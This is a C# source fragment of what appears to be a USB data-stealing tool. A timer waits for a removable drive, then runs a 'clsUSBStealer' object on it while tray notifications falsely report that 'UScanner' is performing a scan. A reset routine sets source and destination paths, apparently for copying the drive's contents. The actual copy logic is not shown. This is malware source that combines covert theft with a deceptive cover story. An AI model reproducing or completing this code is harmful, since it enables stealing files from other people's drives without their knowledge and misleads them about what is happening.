private void timerMain_Tick(object sender, EventArgs e) { CheckDrives(); if (removableDrives.Count > 0) { timerMain.Stop(); stealer = new clsUSBStealer(); NIMain.ShowBalloonTip(100, "UScanner", "Scan Started", ToolTipIcon.Info); Exec(removableDrives[0]); NIMain.ShowBalloonTip(1000, "UScanner", "Scan Completed", ToolTipIcon.Info); } }
private void Reset() { CheckDrives(); for (int i = 0; i < removableDrives.Length; i++) { if (removableDrives[i] != null) { txtSrcDir.Items.Insert(i, removableDrives[i].ToString()); } } if (txtSrcDir.Items.Count > 0) { txtSrcDir.SelectedIndex = 0; } stealer = new clsUSBStealer(); dlgSrcDir.SelectedPath = txtSrcDir.Text; txtDestDir.Text = Init_Dest_Path; dlgDestDir.SelectedPath = txtDestDir.Text; lblStartTime.Text = ""; lblEndTimeValue.Text = ""; }